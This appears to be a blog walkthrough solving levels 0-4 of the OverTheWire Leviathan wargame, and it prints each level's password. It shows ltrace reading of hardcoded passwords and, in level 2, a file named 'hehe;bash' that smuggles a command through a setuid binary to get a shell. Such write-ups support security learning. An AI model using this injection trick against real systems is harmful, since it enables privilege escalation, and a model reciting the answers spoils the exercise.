OverTheWire’s wargames are offered to help learn and practice security concepts in the form of fun-filled games.

The Leviathan wargame is a little bit more advanced than Bandit but still doesn’t require any knowledge about programming. It is best to first play Bandit and then Leviathan.

It consists of a total of 6 Levels. At each level, you have to find the password for the next level to continue playing. Each Level is a user that you connect as, using SSH in the leviathan.labs.overthewire.org server.

In this post, we will present the solutions for Levels 0-4 of the Leviathan wargame.

NOTE: These walkthroughs are written and published to help other members of the community that are stuck at some Level. It is strongly advised to first try the challenges yourself until you can progress no more, and only then come back here to see the solution.

Level 0

The goal of this level is to log into the game using SSH and find the password for the next level. You can use SSH from a computer using any operating system:

  • Windows
  • macOS
  • Linux

It is best to use a Linux distribution, to practice the things you learn in each challenge but it is not required. There are many guides on how to use SSH on Windows. For Linux and macOS users, you can simply use the ssh utility that is available from your terminal.

The host which we need to connect is leviathan.labs.overthewire.org and the port is 2223. We can use the -p flag to define the port we want to connect to. The username is leviathan0 and the password is also leviathan0.

Log in to leviathan0:

ssh -p 2223 leviathan0@leviathan.labs.overthewire.org

Password: leviathan0

If we list the home directory:

leviathan0@leviathan:~$ ls -al
total 24
drwxr-xr-x  3 root       root       4096 Aug 26  2019 .
drwxr-xr-x 10 root       root       4096 Aug 26  2019 ..
drwxr-x---  2 leviathan1 leviathan0 4096 Aug 26  2019 .backup
-rw-r--r--  1 root       root        220 May 15  2017 .bash_logout
-rw-r--r--  1 root       root       3526 May 15  2017 .bashrc
-rw-r--r--  1 root       root        675 May 15  2017 .profile

We see this .backup directory, which we list again:

leviathan0@leviathan:~$ ls -al .backup/
total 140
drwxr-x--- 2 leviathan1 leviathan0   4096 Aug 26  2019 .
drwxr-xr-x 3 root       root         4096 Aug 26  2019 ..
-rw-r----- 1 leviathan1 leviathan0 133259 Aug 26  2019 bookmarks.html

We can cat it and grep for the password:

leviathan0@leviathan:~$ cat .backup/bookmarks.html | grep password
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is rioGegei8m" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>

Level 1

Log in to leviathan1, using the password found from Level 0:

ssh -p 2223 leviathan1@leviathan.labs.overthewire.org

If we list the home directory:

leviathan1@leviathan:~$ ls -al
total 28
drwxr-xr-x  2 root       root       4096 Aug 26  2019 .
drwxr-xr-x 10 root       root       4096 Aug 26  2019 ..
-rw-r--r--  1 root       root        220 May 15  2017 .bash_logout
-rw-r--r--  1 root       root       3526 May 15  2017 .bashrc
-r-sr-x---  1 leviathan2 leviathan1 7452 Aug 26  2019 check
-rw-r--r--  1 root       root        675 May 15  2017 .profile

The check executable runs with leviathan2 permissions using the setuid bit, so if we exploit it we can cat the password for level 2.

We can use ltrace to see the library calls of the program:

leviathan1@leviathan:~$ ltrace ./check
__libc_start_main(0x804853b, 1, 0xffffd684, 0x8048610 <unfinished ...>
printf("password: ")                                                              = 10
getchar(1, 0, 0x65766f6c, 0x646f6700password: 12345password
)                                             = 49
getchar(1, 0, 0x65766f6c, 0x646f6700)                                             = 50
getchar(1, 0, 0x65766f6c, 0x646f6700)                                             = 51
strcmp("123", "sex")                                                              = -1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
)                                              = 29
+++ exited (status 0) +++

As we can see it simply compares the 3 char input we give with the word sex, so this is our password:

leviathan1@leviathan:~$ ./check
password: sex
$

Now we got a shell and we can show the password for the next level:

$ cat /etc/leviathan_pass/leviathan2
ougahZi8Ta

Level 2

Log in to leviathan2, using the password found from Level 1:

ssh -p 2223 leviathan2@leviathan.labs.overthewire.org

If we list the home directory:

leviathan2@leviathan:~$ ls -al
total 28
drwxr-xr-x  2 root       root       4096 Aug 26  2019 .
drwxr-xr-x 10 root       root       4096 Aug 26  2019 ..
-rw-r--r--  1 root       root        220 May 15  2017 .bash_logout
-rw-r--r--  1 root       root       3526 May 15  2017 .bashrc
-r-sr-x---  1 leviathan3 leviathan2 7436 Aug 26  2019 printfile
-rw-r--r--  1 root       root        675 May 15  2017 .profile

The printfile executable runs with leviathan3 permissions using the setuid bit, so if we exploit it we can cat the password for level 3.

If we run the program:

leviathan2@leviathan:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename

So lets try to print a file:

leviathan2@leviathan:~$ ./printfile .profile
# ~/.profile: executed by the command interpreter for login shells.
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# ...

It works fine, lets try to print the password file:

leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...

We can use ltrace to see the library calls of the program:

leviathan2@leviathan:~$ ltrace ./printfile /etc/leviathan_pass/leviathan3
__libc_start_main(0x804852b, 2, 0xffffd674, 0x8048610 <unfinished ...>
access("/etc/leviathan_pass/leviathan3", 4)                                       = -1
puts("You cant have that file..."You cant have that file...
)                                                = 27
+++ exited (status 1) +++

According to man pages for access:

access()  checks whether the calling process can access the file pathname.  If pathname is a symbolic link, it is derefer‐
       enced.

So symbolic linking won’t work.

If we play a bit with the parameters that the program takes, we can see that there is no input sanitization. So nothing stops us from creating a dangerous file like:

mkdir /tmp/mine2
touch "/tmp/mine2/hehe;bash"

Now if we try to print this file with the printfile program:

leviathan2@leviathan:~$ ./printfile /tmp/mine2/hehe\;bash
/bin/cat: /tmp/mine2/hehe: No such file or directory
leviathan3@leviathan:~$

We got a shell, and now we can cat the password file:

leviathan3@leviathan:~$ cat /etc/leviathan_pass/leviathan3
Ahdiemoo1j

Level 3

Log in to leviathan3, using the password found from Level 2:

ssh -p 2223 leviathan3@leviathan.labs.overthewire.org

If we list the home directory:

leviathan3@leviathan:~$ ls -al
total 32
drwxr-xr-x  2 root       root        4096 Aug 26  2019 .
drwxr-xr-x 10 root       root        4096 Aug 26  2019 ..
-rw-r--r--  1 root       root         220 May 15  2017 .bash_logout
-rw-r--r--  1 root       root        3526 May 15  2017 .bashrc
-r-sr-x---  1 leviathan4 leviathan3 10288 Aug 26  2019 level3
-rw-r--r--  1 root       root         675 May 15  2017 .profile

The level3 executable runs with leviathan4 permissions using the setuid bit, so if we exploit it we can cat the password for level 4.

If we run the program:

leviathan3@leviathan:~$ ./level3
Enter the password> password
bzzzzzzzzap. WRONG

We can use ltrace to see the library calls of the program:

leviathan3@leviathan:~$ ltrace ./level3
__libc_start_main(0x8048618, 1, 0xffffd694, 0x80486d0 <unfinished ...>
strcmp("h0no33", "kakaka")                                                              = -1
printf("Enter the password> ")                                                          = 20
fgets(Enter the password> 11
"11\n", 256, 0xf7fc55a0)                                                          = 0xffffd4a0
strcmp("11\n", "snlprintf\n")                                                           = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
)                                                              = 19
+++ exited (status 0) +++

As we can see it simply compares the input we give with the word snlprintf, so this is our password:

leviathan3@leviathan:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$ cat /etc/leviathan_pass/leviathan4
vuH0coox6m

Level 4

Log in to leviathan4, using the password found from Level 3:

ssh -p 2223 leviathan4@leviathan.labs.overthewire.org

If we list the home directory:

leviathan4@leviathan:~$ ls -al
total 24
drwxr-xr-x  3 root root       4096 Aug 26  2019 .
drwxr-xr-x 10 root root       4096 Aug 26  2019 ..
-rw-r--r--  1 root root        220 May 15  2017 .bash_logout
-rw-r--r--  1 root root       3526 May 15  2017 .bashrc
-rw-r--r--  1 root root        675 May 15  2017 .profile
dr-xr-x---  2 root leviathan4 4096 Aug 26  2019 .trash

There is a hidden directory .trash:

leviathan4@leviathan:~$ ls -al .trash/
total 16
dr-xr-x--- 2 root       leviathan4 4096 Aug 26  2019 .
drwxr-xr-x 3 root       root       4096 Aug 26  2019 ..
-r-sr-x--- 1 leviathan5 leviathan4 7352 Aug 26  2019 bin

If we run the program:

leviathan4@leviathan:~$ cd .trash/
leviathan4@leviathan:~/.trash$ ./bin
01010100 01101001 01110100 01101000 00110100 01100011 01101111 01101011 01100101 01101001 00001010

If we convert it to decimal:

84 105 116 104 52 99 111 107 101 105 10

If we convert it to ascii, we will see this is our password (emitting the NL line feed char):

Tith4cokei